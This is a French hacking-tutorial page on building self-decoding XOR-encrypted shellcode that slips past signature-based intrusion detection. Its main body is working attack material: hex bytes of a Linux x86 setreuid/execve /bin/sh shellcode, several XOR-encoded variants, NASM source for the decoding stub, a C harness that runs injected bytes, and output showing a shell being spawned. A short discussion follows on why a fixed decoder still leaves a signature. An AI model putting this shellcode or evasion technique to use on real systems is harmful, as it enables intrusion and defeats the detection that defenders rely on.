Shellcode auto-décodant


Décodeur polymorphique >>


I°) Shellcode auto-décodant

Chiffrer le shellcode
   Le but du polymorphisme est d'éviter les détections prématurées d'attaques. En effet, afin notamment de protéger contre les exploitations dites 0-day (vulnérabilitées inconnues du public), des mécanismes de détection a priori ont été mis en places, parmi lesquels l'analyse statique des paquets et la détection de shellcode. L'analyse de ce type de paquets (pas de connaissance de la structure) ne peut se faire que par deux moyens : l'analyse statique (génération de signatures de shellcode) et la simulation (essayer d'exécuter dynamiquement les séquences d'instructions valides pour l'hôte cible). Le polymorphisme a été créé afin de répondre efficacement au premier type d'analyse, afin que la génération de signatures ne soit pas effective. L'analyse par simulation est quant à elle plus un débat de recherche qu'une réalité pratique, puisqu'il paraît impossible de modéliser le contexte (comme par exemple lorsque le shellcode commence par un pop ebx étant donné que le simulateur ne connait pas l'état de la pile et également car les attaquants pourraient injecter des boucles et autres mécanismes rendant impratiquables une réelle détection).
Afin d'outrepasser les premières signatures (repérer un appel aux syscalls setreuid et exec*, recherche des chaines de caractères (/+)bin(/+)(.*)sh dans l'ordre ou dans le désordre, etc.), la première réponse a été de chiffer le shellcode. De manière immédiate, il sera impossible d'effectuer une recherche de signatures significative. Afin d'illustrer ceci, nous avons pris l'exemple de la manière la plus simple de coder efficacement un ensemble d'octets : la fonction XOR. En effet, la fonction XOR a la particularité d'être symétrique (à savoir que (f^k)^k = f) et il n'est pas possible, sans connaissance de la clé et autrement qu'en essayant toutes les possibilités, d'effectuer un reverse enginnering sur un buffer xor-encodé (dépendance forte avec la clé et le buffer original, diffusion forte de la transformation).
    $ nasm shellcode.asm
    $ gcc xor_file.c -o xor_file
    $ ./xor_file 0 shellcode # Identité
    \x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b
    \x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f
    \x62\x69\x6e\x2f\x73\x68
    $ ./xor_file 49 shellcode # Mauvaise clé
    \x00\xf1\x81\x77\x00\xea\x00\xf8\xfc\xb1\xda\x27\x6a\x00\xf1\xb9\x72\x36\xb8\x6a
    \x39\xb8\x72\x3d\x81\x3a\xbc\x7a\x39\xbc\x62\x3d\xfc\xb1\xd9\xd4\xce\xce\xce\x1e
    \x53\x58\x5f\x1e\x42\x59
    $ ./xor_file 42 shellcode
    \x1b\xea\x9a\x6c\x1b\xf1\x1b\xe3\xe7\xaa\xc1\x3c\x71\x1b\xea\xa2\x69\x2d\xa3\x71
    \x22\xa3\x69\x26\x9a\x21\xa7\x61\x22\xa7\x79\x26\xe7\xaa\xc2\xcf\xd5\xd5\xd5\x05
    \x48\x43\x44\x05\x59\x42
    $ ./xor_file 66 shellcode
    \x73\x82\xf2\x04\x73\x99\x73\x8b\x8f\xc2\xa9\x54\x19\x73\x82\xca\x01\x45\xcb\x19
    \x4a\xcb\x01\x4e\xf2\x49\xcf\x09\x4a\xcf\x11\x4e\x8f\xc2\xaa\xa7\xbd\xbd\xbd\x6d
    \x20\x2b\x2c\x6d\x31\x2a
Ces quelques tests simples d'un xor byte à byte du shellcode avec différentes clés (0, 0x31, 42 et 0x42) nous montrent bien que deux xor avec des clés différentes sont très difficiles à corréler (le petit utilitaire xor_file est présent dans les sources). On remarque qu'il nous faudra éviter la clé 0 (car f^0 = f) et les clés correspondant à un byte du shellcode original (car k^k=0 et que nous ne devons pas avoir de byte nul), ce qui est ici le cas avec la clé 49 = 0x31. Mais vous l'avez compris, encoder ce shellcode n'est pas suffisant, puisqu'il ne veut potentiellement plus rien dire en termes d'instructions. Il faut donc lui permettre de s'auto-déchiffrer.

Shellcode auto-déchiffrant
   La structure des codes auto-déchiffrants est toujours la même : placer un module permettant de déchiffrer au début, le chiffré à la fin, et a la fin du premier module un jump vers le déchiffré. Ainsi, le shellcode complet injecté aura plus ou moins la structure suivante :

+++++++++++++++
Decodeur XOR
+++++++++++++++
jmp to encodé
+++++++++++++++
Shellcode
XOR-encodé
+++++++++++++++
Avec nos modestes connaissances en assembleur et en essayant de copier les mécanismes vus lors de la première partie, il nous est relativement aisé de créer un petit programme permettant de décoder un shellcode XOR-encodé :
    BITS 32

    jmp short sc

    retour:
      pop esi      ; esi pointe vers le shellcode
      xor eax,eax      ; Mise a zéro des registres utilisés
      xor ebx,ebx
      xor ecx,ecx
      mov bl,46      ; ebx = 46 (taille du shellcode encodé)
      mov al,202      ; eax = 151 (clef xor)

    boucle:      ; boucle de décodage xor
      xor [esi+ecx],eax      ; xor entre le byte courant et la cle
      inc ecx
      cmp ebx,ecx      ; tant que ecx n'est pas égal à 46
      jne boucle

      jmp esi      ; on execute le shellcode désormais décodé

    sc:      ; label de notre shellcode encodé
      call retour
      shellcode db 0xa6,0x57,0x27,0xd1,0xa6,0x4c,0xa6,0x5e,0x5a,0x17,0x7c,0x81,0xcc,0xa6,0x57,
      0x1f,0xd4,0x90,0x1e,0xcc,0x9f,0x1e,0xd4,0x9b,0x27,0x9c,0x1a,0xdc,0x9f,0x1a,0xc4,0x9b,0x5a,
      0x17,0x7f,0x72,0x68,0x68,0x68,0xb8,0xf5,0xfe,0xf9,0xb8,0xe4,0xff
Comme vous le voyez, il n'y a rien d'extravaguant, on récupère l'adresse sur la pile de notre shellcode encodé comme précédemment, puis on effectue une boucle basique permettant d'effectuer le xor de chacun des bytes avec la clé (ici 151), et enfin on saute vers le shellcode ainsi décodé. Bien. Est-ce que ceci marche au moins ? Testons avec le court programme suivant (encore une fois, le petit utilitaire file2chars est dans les sources) :
    $ cat test_bytecode.c
    #include <stdio.h>
    #include <string.h>

    char shellcode[]="";

    int main () {
      int (*sc)() = (int (*)())shellcode;
      printf("Launching shellcode\n");
      printf("Length: %d bytes\n", strlen(shellcode));
      sc();

      return 0;
    }
    $ nasm unxor_shellcode.asm
    $ gcc -o file2chars file2chars.c && ./file2chars unxor_shellcode
    \xeb\x15\x5e\x31\xc0\x31\xdb\x31\xc9\xb3\x2e\xb0\x97\x31\x04\x0e\x41\x39\xcb\x75\xf8\xff\xe6\xe8\xe6\xff\xff\xff\xa6\x57 \x27\xd1\xa6\x4c\xa6\x5e\x5a\x17\x7c\x81\xcc\xa6\x57\x1f\xd4\x90\x1e\xcc\x9f\x1e\xd4\x9b\x27\x9c\x1a\xdc\x9f\x1a\xc4\x9b \x5a\x17\x7f\x72\x68\x68\x68\xb8\xf5\xfe\xf9\xb8\xe4\xff
    $ vi test_bytecode.c # on place ce shellcode dans char shellcode[]
    $ gcc test_bytecode.c -o test_bytecode && ./test_bytecode
    Launching normal shellcode
    Length: 74 bytes
    sh-3.2$ exit
    exit
    $
Nous avons donc réussi une première étape importante : la sémantique réelle de notre bytecode injecté est chiffrée, rendant très compliquées les analyses statiques, d'autant plus lorsque les clés utilisées sont sur plusieurs bytes (suppression des redondances) ou lorsque les algorithmes utilisés sont plus complexes. Ceci dit, une observation simple remet en cause notre travail. Voici les shellcodes générés pour les clés 151 et 213 :
    \xeb\x15\x5e\x31\xc0\x31\xdb\x31\xc9\xb3\x2e\xb0\x97\x31\x04\x0e\x41\x39\xcb\x75
    \xf8\xff\xe6\xe8\xe6\xff\xff\xff
    \xa6\x57\x27\xd1\xa6\x4c\xa6\x5e\x5a\x17\x7c\x81
    \xcc\xa6\x57\x1f\xd4\x90\x1e\xcc\x9f\x1e\xd4\x9b\x27\x9c\x1a\xdc\x9f\x1a\xc4\x9b
    \x5a\x17\x7f\x72\x68\x68\x68\xb8\xf5\xfe\xf9\xb8\xe4\xff

    \xeb\x15\x5e\x31\xc0\x31\xdb\x31\xc9\xb3\x2e\xb0\xd5\x31\x04\x0e\x41\x39\xcb\x75
    \xf8\xff\xe6\xe8\xe6\xff\xff\xff
    \xe4\x15\x65\x93\xe4\x0e\xe4\x1c\x18\x55\x3e\xc3
    \x8e\xe4\x15\x5d\x96\xd2\x5c\x8e\xdd\x5c\x96\xd9\x65\xde\x58\x9e\xdd\x58\x86\xd9
    \x18\x55\x3d\x30\x2a\x2a\x2a\xfa\xb7\xbc\xbb\xfa\xa6\xbd
En effet, un point faible perdure dans notre approche : nous utilisons, à un byte près (la clé), le même décodeur ! Bien que nous ayons supprimé notre signature originale, nous en avons créé une deuxième. Etant donné la multiplicité des décodeurs possibles, cela paraît tout de même difficilement imaginable de générer des signatures pour chacun d'entre eux. Ceci dit, ne serait-il pas possible de générer ce même décodeur sous plusieurs formes distinctes ? C'est ce que nous allons voir tout de suite.


Décodeur polymorphique >>



3 Commentaires

Anonyme 21/07/12 12:13
a oué :-)

XoR 23/01/12 01:55
OMFG !!!!

Anonyme 20/06/11 18:50
Juste trois mots : OMG




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.